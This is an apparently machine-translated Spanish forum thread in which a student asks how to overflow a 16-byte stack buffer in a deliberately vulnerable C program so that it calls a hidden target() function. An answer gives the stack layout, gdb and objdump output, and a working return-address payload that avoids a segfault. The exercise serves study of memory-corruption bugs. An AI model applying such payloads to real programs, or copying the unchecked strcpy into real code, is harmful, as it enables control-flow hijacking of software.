Explotar un desbordamiento de búfer

Para mis estudios, trato de crear una carga útil para que se desborde el búfer y llame a una función “secreta” llamada “destino”

Este es el código que uso para probar en un i686

#include "stdio.h" #include "string.h" void target() { printf("target\n"); } void vulnerable(char* input) { char buffer[16]; strcpy(buffer, input); } int main(int argc, char** argv) { if(argc == 2) vulnerable(argv[1]); else printf("Need an argument!"); return 0; } 

Tarea 1 : crear una carga útil para que se llame a target (). Esto fue bastante fácil de hacer reemplazando el EIP con la dirección de la función de destino.

Así es como se ve el búfer.

 Buffer (gdb) x/8x buffer 0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532 0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca 

La carga útil que utilicé fue:

 run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08' 

Esto funciona bien pero se detiene con una falla de segmentación.

Tarea 2: modificar la carga útil de forma que no genere un error de segmentación

Aquí es donde estoy atrapado. Obviamente, causa una falla de segmentación porque no llamamos a target con la instrucción de llamada y, por lo tanto, no hay una dirección de retorno válida.

Intenté agregar la dirección de retorno en la stack, pero eso no ayudó

 run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08' 

Tal vez alguien me pueda ayudar con esto. Probablemente también tengo que agregar el EBP guardado de main?

Adjunto el objdump del progtwig.

 0804847d : 804847d: 55 push %ebp 804847e: 89 e5 mov %esp,%ebp 8048480: 83 ec 18 sub $0x18,%esp 8048483: c7 04 24 70 85 04 08 movl $0x8048570,(%esp) 804848a: e8 c1 fe ff ff call 8048350  804848f: c9 leave 8048490: c3 ret 08048491 : 8048491: 55 push %ebp 8048492: 89 e5 mov %esp,%ebp 8048494: 83 ec 28 sub $0x28,%esp 8048497: 8b 45 08 mov 0x8(%ebp),%eax 804849a: 89 44 24 04 mov %eax,0x4(%esp) 804849e: 8d 45 e8 lea -0x18(%ebp),%eax 80484a1: 89 04 24 mov %eax,(%esp) 80484a4: e8 97 fe ff ff call 8048340  80484a9: c9 leave 80484aa: c3 ret 080484ab : 80484ab: 55 push %ebp 80484ac: 89 e5 mov %esp,%ebp 80484ae: 83 e4 f0 and $0xfffffff0,%esp 80484b1: 83 ec 10 sub $0x10,%esp 80484b4: 83 7d 08 02 cmpl $0x2,0x8(%ebp) 80484b8: 75 12 jne 80484cc  80484ba: 8b 45 0c mov 0xc(%ebp),%eax 80484bd: 83 c0 04 add $0x4,%eax 80484c0: 8b 00 mov (%eax),%eax 80484c2: 89 04 24 mov %eax,(%esp) 80484c5: e8 c7 ff ff ff call 8048491  80484ca: eb 0c jmp 80484d8  80484cc: c7 04 24 77 85 04 08 movl $0x8048577,(%esp) 80484d3: e8 58 fe ff ff call 8048330  80484d8: b8 00 00 00 00 mov $0x0,%eax 80484dd: c9 leave 80484de: c3 ret 80484df: 90 nop 

Necesita suficientes datos para llenar la memoria reservada para la stack donde se encuentra el ‘búfer’, luego más para sobrescribir el puntero del marco de la stack, luego sobrescribir la dirección de retorno con la dirección de target() y luego una dirección más dentro del target() pero no al principio de la función: ingréselo para que el puntero de marco de stack anterior no se empuje en la stack. Eso hará que ejecute target en lugar de regresar correctamente desde vulnerable() y luego ejecute target() nuevamente, de modo que regrese de target() a main() y salga sin una falla de segmentación.

Cuando ingresamos a vulnerable () por primera vez y estamos a punto de colocar datos en la variable ‘buffer’, la stack se ve así:

 ----------- | 24-bytes of local storage - 'buffer' lives here ----------- | old stack frame pointer (from main) <-- EBP points here ----------- | old EIP (address in main) ----------- | 'input' argument for 'vulnerable' ----------- | top of stack for main ----------- | ... more stack here ... 

Entonces, comenzando en la dirección del 'búfer' necesitamos colocar 24 bytes de basura para pasar el almacenamiento local reservado en la stack, luego 4 bytes más para pasar el puntero del marco de stack antiguo almacenado en la stack, entonces se encuentran en la ubicación donde se almacena el antiguo EIP. Ese es el puntero de instrucciones que la CPU sigue a ciegas. Nos gusta el Él nos ayudará a aplastar este progtwig. Sobrescribimos el valor del antiguo EIP en la stack que actualmente apunta a una dirección en main () con la dirección de inicio de target () que se encuentra a través del comando gdb disassemble:

 (gdb) disas target Dump of assembler code for function target: 0x08048424 <+0>: push %ebp 0x08048425 <+1>: mov %esp,%ebp 0x08048427 <+3>: sub $0x18,%esp 0x0804842a <+6>: movl $0x8048554,(%esp) 0x08048431 <+13>: call 0x8048354  0x08048436 <+18>: leave 0x08048437 <+19>: ret End of assembler dump. 

La dirección de la función target () es 0x08048424. Como el sistema (al menos mi sistema) es un poco endiano, ingresamos esos valores con el LSB primero, por lo que x24, x84, x04 y x08.

Pero eso nos deja con un problema porque, como vulnerable (), devuelve todos los desperdicios que colocamos en la stack de la stack y nos quedamos con una stack que se ve así cuando estamos a punto de procesar en target () para la primera vez:

 ----------- | 'input' argument for 'vulnerable' ----------- | top of stack for main ----------- | ... more stack here ... 

Por lo tanto, cuando target () quiera regresar, no encontrará la dirección de retorno en la parte superior de la stack como se esperaba y tendrá un error de segmentación.

Así que queremos forzar un nuevo valor de retorno en la parte superior de la stack antes de comenzar a procesar en target (). ¿Pero qué valor elegir? No queremos empujar el EBP porque contiene basura. ¿Recuerda? Metimos basura en ella cuando sobrescribimos 'buffer'. Así que en lugar de eso, presione la instrucción target () justo después de

push %ebp

(en este caso dirección 0x08048425).

Esto significa que la stack se verá así cuando el objective () esté listo para regresar por primera vez:

 ----------- | address of mov %esp, %ebp instruction in target() ----------- | top of stack for main ----------- | ... more stack here ... 

Entonces, al regresar de target () la primera vez, el EIP ahora apuntará a la segunda instrucción en target (), lo que significa que la segunda vez que procesamos a través de target () tiene la misma stack que main () tenía cuando procesó . La parte superior de la stack es la misma parte superior de la stack para main (). Ahora la stack se ve como:

 ----------- | top of stack for main ----------- | ... more stack here ... 

Entonces, cuando target () devuelve la segunda vez, tiene una buena stack con la que volver, ya que está utilizando la misma stack que main () y el progtwig sale normalmente.

Entonces, para resumir, es de 28 bytes seguidos por la dirección de la primera instrucción en target (), seguido de la dirección de la segunda instrucción en target ().

 sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08' target target sys1:/usr2/home>